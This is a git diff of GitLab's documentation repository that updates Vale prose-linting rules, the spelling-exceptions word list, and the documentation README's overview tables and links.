diff --git a/doc/.vale/gitlab/AlertBoxStyle.yml b/doc/.vale/gitlab/AlertBoxStyle.yml
index d15757d38fc..bdf66236ef2 100644
--- a/doc/.vale/gitlab/AlertBoxStyle.yml
+++ b/doc/.vale/gitlab/AlertBoxStyle.yml
@@ -1,18 +1,21 @@
---
# Error: gitlab.AlertBoxStyle
#
-# Makes sure alert boxes follow standard formatting.
+# Makes sure alert boxes are used with block quotes.
#
-# Checks for 2 formatting issues:
+# Checks for 3 formatting issues:
+# - Alert boxes inside a block quote (">")
# - Alert boxes with the note text on the same line
-# - Alert boxes using blockquote formatting, like "> **Note:**"
+# - Alert boxes using words other than "NOTE" or "WARNING"
#
# For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles
extends: existence
message: 'Alert box "%s" must use the formatting in the style guide.'
link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#alert-boxes
level: error
+nonword: true
scope: raw
raw:
- - '(\n(NOTE|TIP|CAUTION|DANGER): \*\*.*\*\*.+)|'
- - '((\n[> ]*(\*){1,2}(NOTE|Note|note|TIP|Tip|tip|CAUTION|Caution|caution|DANGER|Danger|danger):(\*){1,2}))'
+ - '(\n *\> *(?:NOTE|WARNING)|'
+ - '\n(NOTE):[^\n]|' # Adding "WARNING" here causes a false positive
+ - '\n *(?:> )?\**(Note|note|TIP|Tip|tip|CAUTION|Caution|caution|DANGER|Danger|danger|warning):.*)' ## Adding "Warning" here causes a false positive
diff --git a/doc/.vale/gitlab/BadgeCapitalization.yml b/doc/.vale/gitlab/BadgeCapitalization.yml
index caf7143e254..3da5831ed56 100644
--- a/doc/.vale/gitlab/BadgeCapitalization.yml
+++ b/doc/.vale/gitlab/BadgeCapitalization.yml
@@ -6,7 +6,7 @@
# For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles
extends: existence
message: 'Badge "%s" must be capitalized.'
-link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#product-badges
+link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#product-tier-badges
level: error
scope: raw
raw:
diff --git a/doc/.vale/gitlab/British.yml b/doc/.vale/gitlab/British.yml
index 7221d7d24aa..65842ad7aa5 100644
--- a/doc/.vale/gitlab/British.yml
+++ b/doc/.vale/gitlab/British.yml
@@ -6,7 +6,7 @@
# For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles
extends: substitution
message: 'Use the US spelling "%s" instead of the British "%s".'
-link: https://about.gitlab.com/handbook/communication/#top-misused-terms
+link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#language
level: error
ignorecase: true
swap:
@@ -22,6 +22,10 @@ swap:
behaviour: behavior
busses: buses
calibre: caliber
+ categorise: categorize
+ categorised: categorized
+ categorises: categorizes
+ categorising: categorizing
centre: center
cheque: check
civilisation: civilization
diff --git a/doc/.vale/gitlab/CodeblockFences.yml b/doc/.vale/gitlab/CodeblockFences.yml
index 7258a8ef475..6c2d94e7b8d 100644
--- a/doc/.vale/gitlab/CodeblockFences.yml
+++ b/doc/.vale/gitlab/CodeblockFences.yml
@@ -6,7 +6,7 @@
# For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles
extends: existence
message: 'Syntax highlighting hint "%s" must be one of: yaml, ruby, plaintext, markdown, javascript, shell, golang, python, dockerfile, or typescript.'
-link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#code-blocks
+link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#code-blocks
level: error
scope: raw
raw:
diff --git a/doc/.vale/gitlab/CurlStringsQuoted.yml b/doc/.vale/gitlab/CurlStringsQuoted.yml
index a09c3fbfb51..e9fbabf5ffc 100644
--- a/doc/.vale/gitlab/CurlStringsQuoted.yml
+++ b/doc/.vale/gitlab/CurlStringsQuoted.yml
@@ -7,7 +7,7 @@
extends: existence
message: 'For consistency across all cURL examples, always wrap the URL in double quotes ("): %s'
link: https://docs.gitlab.com/ee/development/documentation/restful_api_styleguide.html#curl-commands
-level: warning
+level: error
scope: code
raw:
- 'curl.*[^"=]https?://.*'
diff --git a/doc/.vale/gitlab/CurrentStatus.yml b/doc/.vale/gitlab/CurrentStatus.yml
index 584ac73aa17..16a6995843a 100644
--- a/doc/.vale/gitlab/CurrentStatus.yml
+++ b/doc/.vale/gitlab/CurrentStatus.yml
@@ -8,6 +8,6 @@ extends: existence
message: 'Avoid words like "%s" that promise future changes, because documentation is about the current state of the product.'
level: suggestion
ignorecase: true
-link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#language-to-avoid
+link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#usage-list
tokens:
- currently
diff --git a/doc/.vale/gitlab/FirstPerson.yml b/doc/.vale/gitlab/FirstPerson.yml
index d247f137501..6fc93d9515c 100644
--- a/doc/.vale/gitlab/FirstPerson.yml
+++ b/doc/.vale/gitlab/FirstPerson.yml
@@ -8,7 +8,7 @@ extends: existence
message: '"%s" is a first-person pronoun. Use second- or third-person pronouns (like we, you, us, one) instead.'
level: warning
ignorecase: true
-link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#language
+link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#usage-list
tokens:
- '\bI[ ,;:?!"]|\bI\x27.{1,2}'
- me
diff --git a/doc/.vale/gitlab/FutureTense.yml b/doc/.vale/gitlab/FutureTense.yml
index bba60dc9657..d7001d57899 100644
--- a/doc/.vale/gitlab/FutureTense.yml
+++ b/doc/.vale/gitlab/FutureTense.yml
@@ -9,7 +9,7 @@ extends: existence
message: 'Avoid using future tense: "%s". Use present tense instead.'
ignorecase: true
level: warning
-link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#language-to-avoid
+link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#usage-list
raw:
- "(going to( |\n|[[:punct:]])[a-zA-Z]*|"
- "will( |\n|[[:punct:]])[a-zA-Z]*|"
diff --git a/doc/.vale/gitlab/InclusionAbleism.yml b/doc/.vale/gitlab/InclusionAbleism.yml
index 29b26547130..1ebb6a97cf8 100644
--- a/doc/.vale/gitlab/InclusionAbleism.yml
+++ b/doc/.vale/gitlab/InclusionAbleism.yml
@@ -6,7 +6,7 @@
# For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles
extends: substitution
message: 'Use inclusive language. Consider "%s" instead of "%s".'
-link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#inclusive-language
+link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#inclusive-language
level: suggestion
ignorecase: true
swap:
diff --git a/doc/.vale/gitlab/InclusionCultural.yml b/doc/.vale/gitlab/InclusionCultural.yml
index 5bfad84f100..6f63d1725fc 100644
--- a/doc/.vale/gitlab/InclusionCultural.yml
+++ b/doc/.vale/gitlab/InclusionCultural.yml
@@ -6,7 +6,7 @@
# For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles
extends: substitution
message: 'Use inclusive language. Consider "%s" instead of "%s".'
-link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#inclusive-language
+link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#inclusive-language
level: warning
ignorecase: true
swap:
diff --git a/doc/.vale/gitlab/InclusionGender.yml b/doc/.vale/gitlab/InclusionGender.yml
index 389d76d7a24..313a1cc42dc 100644
--- a/doc/.vale/gitlab/InclusionGender.yml
+++ b/doc/.vale/gitlab/InclusionGender.yml
@@ -6,7 +6,7 @@
# For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles
extends: substitution
message: 'Use inclusive language. Consider "%s" instead of "%s".'
-link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#inclusive-language
+link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#inclusive-language
level: suggestion
ignorecase: true
swap:
diff --git a/doc/.vale/gitlab/InternalLinkCase.yml b/doc/.vale/gitlab/InternalLinkCase.yml
new file mode 100644
index 00000000000..c00e633426b
--- /dev/null
+++ b/doc/.vale/gitlab/InternalLinkCase.yml
@@ -0,0 +1,13 @@
+---
+# Error: gitlab.InternalLinkCase
+#
+# Checks that anchor fragments on internal links are in lower-case.
+#
+# For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles
+extends: existence
+message: 'Links to subheadings in GitLab docs must be in lower-case: "%s"'
+link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#links-to-internal-documentation
+level: error
+scope: raw
+raw:
+ - '[^\`]\[[^\[\]]+\]\((https?:){0}[\w\/\.]*?#[^\s]*?[A-Z][^\) ]*\)[^\`]'
diff --git a/doc/.vale/gitlab/InternalLinkExtension.yml b/doc/.vale/gitlab/InternalLinkExtension.yml
index 9b5a3499815..0b1baaf667c 100644
--- a/doc/.vale/gitlab/InternalLinkExtension.yml
+++ b/doc/.vale/gitlab/InternalLinkExtension.yml
@@ -6,7 +6,7 @@
# For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles
extends: existence
message: 'Link "%s" must use the .md file extension.'
-link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#links-to-internal-documentation
+link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#links-to-internal-documentation
level: error
scope: raw
raw:
diff --git a/doc/.vale/gitlab/InternalLinkFormat.yml b/doc/.vale/gitlab/InternalLinkFormat.yml
index 9a72778140e..51d5198a0ce 100644
--- a/doc/.vale/gitlab/InternalLinkFormat.yml
+++ b/doc/.vale/gitlab/InternalLinkFormat.yml
@@ -6,7 +6,7 @@
# For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles
extends: existence
message: 'Link "%s" must not start with "./".'
-link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#links-to-internal-documentation
+link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#links-to-internal-documentation
level: error
scope: raw
raw:
diff --git a/doc/.vale/gitlab/LatinTerms.yml b/doc/.vale/gitlab/LatinTerms.yml
index 26dba42839a..79ba4c17651 100644
--- a/doc/.vale/gitlab/LatinTerms.yml
+++ b/doc/.vale/gitlab/LatinTerms.yml
@@ -1,12 +1,12 @@
---
# Warning: gitlab.LatinTerms
#
-# Checks for use of latin terms.
+# Checks for use of Latin terms.
#
# For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles
extends: substitution
message: 'Use "%s" instead of "%s", but consider rewriting the sentence.'
-link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#language
+link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#usage-list
level: warning
nonword: true
ignorecase: true
diff --git a/doc/.vale/gitlab/OutdatedVersions.yml b/doc/.vale/gitlab/OutdatedVersions.yml
index 2ce61ee5798..05323726838 100644
--- a/doc/.vale/gitlab/OutdatedVersions.yml
+++ b/doc/.vale/gitlab/OutdatedVersions.yml
@@ -6,7 +6,7 @@
# For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles
extends: existence
message: 'Can this reference to "%s" be refactored?'
-link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#importance-of-referencing-gitlab-versions-and-tiers
+link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#gitlab-versions
level: suggestion
nonword: true
ignorecase: true
diff --git a/doc/.vale/gitlab/OxfordComma.yml b/doc/.vale/gitlab/OxfordComma.yml
index 334db5d0388..0425d9e1dd0 100644
--- a/doc/.vale/gitlab/OxfordComma.yml
+++ b/doc/.vale/gitlab/OxfordComma.yml
@@ -7,7 +7,7 @@
# For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles
extends: existence
message: 'Use a comma before the last "and" or "or" in a list of four or more items.'
-link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#punctuation
+link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#punctuation
level: warning
raw:
- '(?:[\w-_` ]+,){2,}(?:[\w-_` ]+) (and |or )'
diff --git a/doc/.vale/gitlab/Possessive.yml b/doc/.vale/gitlab/Possessive.yml
new file mode 100644
index 00000000000..eadf7359698
--- /dev/null
+++ b/doc/.vale/gitlab/Possessive.yml
@@ -0,0 +1,15 @@
+---
+# Warning: gitlab.Possessive
+#
+# The word GitLab should not be used in the possessive form.
+#
+# For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles
+extends: existence
+message: 'Rewrite "%s" to not use "’s".'
+level: error
+ignorecase: true
+link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#trademark
+tokens:
+ - GitLab's # Straight apostrophe.
+ - GitLab’s # Curly closing apostrophe.
+ - GitLab‘s # Curly opening apostrophe.
diff --git a/doc/.vale/gitlab/ReferenceLinks.yml b/doc/.vale/gitlab/ReferenceLinks.yml
index 49e6ed5a531..0df1f359107 100644
--- a/doc/.vale/gitlab/ReferenceLinks.yml
+++ b/doc/.vale/gitlab/ReferenceLinks.yml
@@ -6,7 +6,7 @@
# For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles
extends: existence
message: 'Link "%s" must be inline.'
-link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#basic-link-criteria
+link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#basic-link-criteria
level: error
scope: raw
raw:
diff --git a/doc/.vale/gitlab/RelativeLinks.yml b/doc/.vale/gitlab/RelativeLinks.yml
index 1ae73472f8a..14ffc4bd0b8 100644
--- a/doc/.vale/gitlab/RelativeLinks.yml
+++ b/doc/.vale/gitlab/RelativeLinks.yml
@@ -6,7 +6,7 @@
# For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles
extends: existence
message: 'Link "%s" must be a relative link with a .md extension.'
-link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#links-to-internal-documentation
+link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#links-to-internal-documentation
level: error
scope: raw
raw:
diff --git a/doc/.vale/gitlab/SentenceLength.yml b/doc/.vale/gitlab/SentenceLength.yml
index da9fa052584..c60df1803e2 100644
--- a/doc/.vale/gitlab/SentenceLength.yml
+++ b/doc/.vale/gitlab/SentenceLength.yml
@@ -7,7 +7,7 @@
extends: occurrence
message: 'Shorter sentences improve readability (max 25 words).'
scope: sentence
-link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#language
+link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#language
level: warning
max: 25
token: \b(\w+)\b
diff --git a/doc/.vale/gitlab/SentenceSpacing.yml b/doc/.vale/gitlab/SentenceSpacing.yml
index e6da920222c..884d4b57508 100644
--- a/doc/.vale/gitlab/SentenceSpacing.yml
+++ b/doc/.vale/gitlab/SentenceSpacing.yml
@@ -9,7 +9,7 @@
# For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles
extends: existence
message: '"%s" must contain one and only one space.'
-link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#punctuation
+link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#punctuation
level: error
nonword: true
tokens:
diff --git a/doc/.vale/gitlab/Simplicity.yml b/doc/.vale/gitlab/Simplicity.yml
index fa7a07c3e81..44e78f89c20 100644
--- a/doc/.vale/gitlab/Simplicity.yml
+++ b/doc/.vale/gitlab/Simplicity.yml
@@ -8,7 +8,7 @@ extends: existence
message: 'Avoid words like "%s" that imply ease of use, because the user may find this action hard.'
level: suggestion
ignorecase: true
-link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#language-to-avoid
+link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#usage-list
tokens:
- easy
- easily
diff --git a/doc/.vale/gitlab/SubstitutionSuggestions.yml b/doc/.vale/gitlab/SubstitutionSuggestions.yml
index df68961b1ce..82e3e789864 100644
--- a/doc/.vale/gitlab/SubstitutionSuggestions.yml
+++ b/doc/.vale/gitlab/SubstitutionSuggestions.yml
@@ -6,12 +6,16 @@
#
# For a list of all options, see https://errata-ai.github.io/vale/styles/
extends: substitution
-message: 'Consider "%s" instead of "%s".'
-link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#language
+message: 'Consider %s instead of "%s".'
+link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#language
level: suggestion
ignorecase: true
swap:
- since: because
- once that: after that
- once the: after the
- once you: after you
+ active user: '"billable user"'
+ active users: '"billable users"'
+ docs: documentation
+ once that: '"after that"'
+ once the: '"after the"'
+ once you: '"after you"'
+ since: '"because" or "after"'
+ within: '"in"'
diff --git a/doc/.vale/gitlab/Substitutions.yml b/doc/.vale/gitlab/Substitutions.yml
index 3d1cf8057eb..0a56524e3f5 100644
--- a/doc/.vale/gitlab/Substitutions.yml
+++ b/doc/.vale/gitlab/Substitutions.yml
@@ -11,8 +11,10 @@ link: https://about.gitlab.com/handbook/communication/#top-misused-terms
level: error
ignorecase: true
swap:
+ Customer [Pp]ortal: Customers Portal
frontmatter: front matter
GitLabber: GitLab team member
+ GitLabbers: GitLab team members
GitLab-shell: GitLab Shell
gitlab omnibus: Omnibus GitLab
param: parameter
diff --git a/doc/.vale/gitlab/ToDo.yml b/doc/.vale/gitlab/ToDo.yml
index b3c5f6077b1..a3725cb7f6b 100644
--- a/doc/.vale/gitlab/ToDo.yml
+++ b/doc/.vale/gitlab/ToDo.yml
@@ -6,7 +6,7 @@
# For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles
extends: substitution
message: 'Use "to-do item" in most cases, or "Add a to do" if referring to the UI button.'
-link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#feature-names
+link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#feature-names
level: warning
ignorecase: false
swap:
diff --git a/doc/.vale/gitlab/VersionText.yml b/doc/.vale/gitlab/VersionText.yml
index e59b936ae3f..e66a62497b1 100644
--- a/doc/.vale/gitlab/VersionText.yml
+++ b/doc/.vale/gitlab/VersionText.yml
@@ -16,7 +16,7 @@
# For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles
extends: existence
message: 'This introduced-in line is not formatted correctly.'
-link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#text-for-documentation-requiring-version-text
+link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#version-text-in-the-version-history
level: error
scope: raw
raw:
diff --git a/doc/.vale/gitlab/spelling-exceptions.txt b/doc/.vale/gitlab/spelling-exceptions.txt
index bbb5c892298..fd3aff63bce 100644
--- a/doc/.vale/gitlab/spelling-exceptions.txt
+++ b/doc/.vale/gitlab/spelling-exceptions.txt
@@ -8,7 +8,6 @@ allowlists
anonymized
Ansible
Anthos
-API
approvers
architected
Artifactory
@@ -63,7 +62,6 @@ bundlers
burndown
burnup
cacheable
-CAS
CentOS
Certbot
chai
@@ -120,6 +118,7 @@ dequarantining
DevOps
discoverability
Disqus
+Divio
Dockerfile
Dockerfiles
dogfood
@@ -171,6 +170,8 @@ globals
Gmail
Gollum
Google
+goroutine
+goroutines
Gosec
Gradle
Grafana
@@ -211,12 +212,13 @@ JavaScript
Jenkins
Jenkinsfile
Jira
+jq
jQuery
jsdom
JupyterHub
kanban
kanbans
-Kaniko
+kaniko
Karma
Kerberos
keyset
@@ -224,15 +226,15 @@ Kibana
Kinesis
Knative
Kramdown
+Kroki
Kubecost
kubectl
Kubernetes
Kubesec
Laravel
-LDAP
ldapsearch
-Leiningen
Lefthook
+Leiningen
Libravatar
liveness
Lograge
@@ -252,6 +254,7 @@ Markdown
markdownlint
matcher
matchers
+Matomo
Mattermost
mbox
memoization
@@ -293,10 +296,10 @@ namespacing
namespacings
Nanoc
Netlify
-NGINX
Nokogiri
npm
Nurtch
+nyc
OAuth
offboarded
offboarding
@@ -317,6 +320,7 @@ PgBouncer
Phabricator
phaser
phasers
+phpenv
Pipfile
Pipfiles
Piwik
@@ -341,9 +345,13 @@ prepend
prepended
prepending
prepends
+Prettifier
Pritaly
+Priyanka
profiler
Prometheus
+protobuf
+protobufs
proxied
proxies
proxyable
@@ -396,7 +404,6 @@ reusability
reverified
reverifies
reverify
-RHEL
rollout
rollouts
rsync
@@ -413,7 +420,6 @@ runit
runtime
runtimes
Salesforce
-SAML
sandboxing
sanitization
sbt
@@ -436,7 +442,6 @@ Slack
Slony
smartcard
smartcards
-SMTP
Sobelow
Solarized
Sourcegraph
@@ -445,7 +450,6 @@ sparklines
spidering
Splunk
SpotBugs
-SSH
Stackdriver
storable
storages
@@ -476,7 +480,10 @@ substrings
subtree
subtrees
sudo
+swimlane
+swimlanes
syslog
+tanuki
tcpdump
Thanos
Tiller
@@ -489,6 +496,9 @@ toolchain
toolchains
tooltip
tooltips
+transpile
+transpiles
+transpiling
Trello
triaging
Twilio
diff --git a/doc/README.md b/doc/README.md
index 759b5dda32b..41a68df09d0 100644
--- a/doc/README.md
+++ b/doc/README.md
@@ -1,14 +1,14 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
description: 'Learn how to use and administer GitLab, the most scalable Git-based fully integrated platform for software development.'
---
<div class="d-none">
- <em>Visit <a href="https://docs.gitlab.com/ee/">docs.gitlab.com</a> for optimized
- navigation, discoverability, and readability.</em>
+ <h3>Visit <a href="https://docs.gitlab.com/ee/">docs.gitlab.com</a> for the latest version
+ of this help information with enhanced navigation, discoverability, and readability.</h3>
</div>
<!-- the div above will not display on the docs site but will display on /help -->
@@ -23,14 +23,14 @@ Here you can access the complete documentation for GitLab, the single applicatio
No matter how you use GitLab, we have documentation for you.
-| Essential documentation | Essential documentation |
-|:------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------|
-| [**User documentation**](user/index.md)<br>Discover features and concepts for GitLab users. | [**Administrator documentation**](administration/index.md)<br/>Everything GitLab self-managed administrators need to know. |
-| [**Contributing to GitLab**](#contributing-to-gitlab)<br/>At GitLab, everyone can contribute! | [**New to Git and GitLab?**](#new-to-git-and-gitlab)<br/>We have the resources to get you started. |
-| [**Build an integration with GitLab**](#build-an-integration-with-gitlab)<br/>Consult our automation and integration documentation. | [**Coming to GitLab from another platform?**](#coming-to-gitlab-from-another-platform)<br/>Consult our guides. |
-| [**Install GitLab**](https://about.gitlab.com/install/)<br/>Installation options for different platforms. | [**Customers**](subscriptions/index.md)<br/>Information for new and existing customers. |
-| [**Update GitLab**](update/README.md)<br/>Update your GitLab self-managed instance to the latest version. | [**Reference Architectures**](administration/reference_architectures/index.md)<br/>GitLab's reference architectures |
-| [**GitLab releases**](https://about.gitlab.com/releases/)<br/>What's new in GitLab. | |
+| Essential documentation | Essential documentation |
+|:---------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------|
+| [**User documentation**](user/index.md)<br>Discover features and concepts for GitLab users. | [**Administrator documentation**](administration/index.md)<br/>Everything GitLab self-managed administrators need to know. |
+| [**Contributing to GitLab**](#contributing-to-gitlab)<br/>At GitLab, everyone can contribute! | [**New to Git and GitLab?**](#new-to-git-and-gitlab)<br/>We have the resources to get you started. |
+| [**Build an integration with GitLab**](#build-an-integration-with-gitlab)<br/>Consult our integration documentation. | [**Coming to GitLab from another platform?**](#coming-to-gitlab-from-another-platform)<br/>Consult our guides. |
+| [**Install GitLab**](https://about.gitlab.com/install/)<br/>Installation options for different platforms. | [**Customers**](subscriptions/index.md)<br/>Information for new and existing customers. |
+| [**Update GitLab**](update/README.md)<br/>Update your GitLab self-managed instance to the latest version. | [**Reference Architectures**](administration/reference_architectures/index.md)<br/>GitLab reference architectures |
+| [**GitLab releases**](https://about.gitlab.com/releases/)<br/>What's new in GitLab. | |
## Popular topics
@@ -53,349 +53,10 @@ Have a look at some of our most popular topics:
## The entire DevOps lifecycle
GitLab is the first single application for software development, security,
-and operations that enables [Concurrent DevOps](https://about.gitlab.com/topics/concurrent-devops/),
-making the software lifecycle faster and radically improving the speed of business.
-
-GitLab provides solutions for [each of the stages of the DevOps lifecycle](https://about.gitlab.com/stages-devops-lifecycle/):
-
-![DevOps Stages](img/devops-stages-13_3.png)
-
-GitLab is like a top-of-the-line kitchen for making software. As the executive
-chef, you decide what software you want to serve. Using your recipe, GitLab handles
-all the prep work, cooking, and delivery, so you can turn around orders faster
-than ever.
-
-The following sections provide links to documentation for each DevOps stage:
-
-| DevOps stage | Documentation for |
-|:------------------------|:------------------------------------------------------------|
-| [Manage](#manage) | Statistics and analytics features. |
-| [Plan](#plan) | Project planning and management features. |
-| [Create](#create) | Source code, data creation, and management features. |
-| [Verify](#verify) | Testing, code quality, and continuous integration features. |
-| [Package](#package) | Docker container registry. |
-| [Secure](#secure) | Security capability features. |
-| [Release](#release) | Application release and delivery features. |
-| [Configure](#configure) | Application and infrastructure configuration tools. |
-| [Monitor](#monitor) | Application monitoring and metrics features. |
-| [Defend](#defend) | Protection against security intrusions. |
-
-<div align="right">
- <a type="button" class="btn btn-default" href="#overview">
- Back to Overview <i class="fa fa-angle-double-up" aria-hidden="true"></i>
- </a>
-</div>
-
-### Manage
-
-GitLab provides statistics and insights into ways you can maximize the value of GitLab in your organization.
-
-The following documentation relates to the DevOps **Manage** stage:
-
-| Manage topics | Description |
-|:--------------------------------------------------------------------------------------|:---------------------------------------------------------------------------|
-| [Authentication and<br/>Authorization](administration/auth/README.md) **(CORE ONLY)** | Supported authentication and authorization providers. |
-| [GitLab Value Stream Analytics](user/analytics/value_stream_analytics.md) | Measure the time it takes to go from an [idea to production](https://about.gitlab.com/blog/2016/08/05/continuous-integration-delivery-and-deployment-with-gitlab/#from-idea-to-production-with-gitlab) for each project you have. |
-| [Instance-level analytics](user/admin_area/analytics/index.md) | Discover statistics on how many GitLab features you use and user activity. |
-
-<div align="right">
- <a type="button" class="btn btn-default" href="#overview">
- Back to Overview <i class="fa fa-angle-double-up" aria-hidden="true"></i>
- </a>
-</div>
-
-### Plan
-
-Whether you use Waterfall, Agile, or Conversational Development, GitLab streamlines your collaborative workflows.
-
-Visualize, prioritize, coordinate, and track your progress your way with GitLab’s flexible project
-management tools.
-
-The following documentation relates to the DevOps **Plan** stage:
-
-| Plan topics | Description |
-|:-----------------------------------------------------------------------------|:-------------------------------------------------------------------------------------------------------------------------------|
-| [Burndown charts](user/project/milestones/burndown_charts.md) **(STARTER)** | Watch your project's progress throughout a specific milestone. |
-| [Discussions](user/discussions/index.md) | Threads, comments, and resolvable threads in issues, commits, and merge requests. |
-| [Due dates](user/project/issues/due_dates.md) | Keep track of issue deadlines. |
-| [Epics](user/group/epics/index.md) **(ULTIMATE)** | Tracking groups of issues that share a theme. |
-| [Issues](user/project/issues/index.md), including [confidential issues](user/project/issues/confidential_issues.md),<br/>[issue and merge request templates](user/project/description_templates.md),<br/>and [moving issues](user/project/issues/managing_issues.md#moving-issues) | Project issues and restricting access to issues as well as creating templates for submitting new issues and merge requests. Also, moving issues between projects. |
-| [Labels](user/project/labels.md) | Categorize issues or merge requests with descriptive labels. |
-| [Milestones](user/project/milestones/index.md) | Set milestones for delivery of issues and merge requests, with optional due date. |
-| [Project Issue Board](user/project/issue_board.md) | Display issues on a Scrum or Kanban board. |
-| [Quick Actions](user/project/quick_actions.md) | Shortcuts for common actions on issues or merge requests, replacing the need to click buttons or use dropdowns in GitLab's UI. |
-| [Related issues](user/project/issues/related_issues.md) | Create a relationship between issues. |
-| [Requirements Management](user/project/requirements/index.md) **(ULTIMATE)** | Check your products against a set of criteria. |
-| [Roadmap](user/group/roadmap/index.md) **(ULTIMATE)** | Visualize epic timelines. |
-| [Service Desk](user/project/service_desk.md) | A simple way to allow people to create issues in your GitLab instance without needing their own user account. |
-| [Time Tracking](user/project/time_tracking.md) | Track time spent on issues and merge requests. |
-| [To-Do list](user/todos.md) | Keep track of work requiring attention with a chronological list displayed on a simple dashboard. |
-
-<div align="right">
- <a type="button" class="btn btn-default" href="#overview">
- Back to Overview <i class="fa fa-angle-double-up" aria-hidden="true"></i>
- </a>
-</div>
-
-### Create
-
-Consolidate source code into a single [distributed version control system](https://en.wikipedia.org/wiki/Distributed_version_control)
-that’s easily managed and controlled without disrupting your workflow.
-
-GitLab repositories come complete with branching tools and access
-controls, providing a scalable, single source of truth for collaborating
-on projects and code.
-
-The following documentation relates to the DevOps **Create** stage:
-
-#### Projects and groups
-
-| Create topics - Projects and Groups | Description |
-|:-----------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------------------|
-| [Advanced search](user/search/advanced_global_search.md) **(STARTER)** | Leverage Elasticsearch for faster, more advanced code search across your entire GitLab instance. |
-| [Advanced syntax search](user/search/advanced_search_syntax.md) **(STARTER)** | Use advanced queries for more targeted search results. |
-| [Contribution analytics](user/group/contribution_analytics/index.md) **(STARTER)** | See detailed statistics of group contributors. |
-| [Create](gitlab-basics/create-project.md) and [fork](gitlab-basics/fork-project.md) projects, and<br/>[import and export projects<br/>between instances](user/project/settings/import_export.md) | Create, duplicate, and move projects. |
-| [File locking](user/project/file_lock.md) **(PREMIUM)** | Lock files to avoid merge conflicts. |
-| [GitLab Pages](user/project/pages/index.md) | Build, test, and deploy your static website with GitLab Pages. |
-| [Groups](user/group/index.md) and [Subgroups](user/group/subgroups/index.md) | Organize your projects in groups. |
-| [Issue analytics](user/group/issues_analytics/index.md) **(PREMIUM)** | Check how many issues were created per month. |
-| [Merge Request analytics](user/analytics/merge_request_analytics.md) **(PREMIUM)** | Check your throughput productivity - how many merge requests were merged per month. |
-| [Projects](user/project/index.md), including [project access](public_access/public_access.md)<br/>and [settings](user/project/settings/index.md) | Host source code, and control your project's visibility and set configuration. |
-| [Search through GitLab](user/search/index.md) | Search for issues, merge requests, projects, groups, and to-dos. |
-| [Snippets](user/snippets.md) | Snippets allow you to create little bits of code. |
-| [Web IDE](user/project/web_ide/index.md) | Edit files within GitLab's user interface. |
-| [Static Site Editor](user/project/static_site_editor/index.md) | Edit content on static websites. |
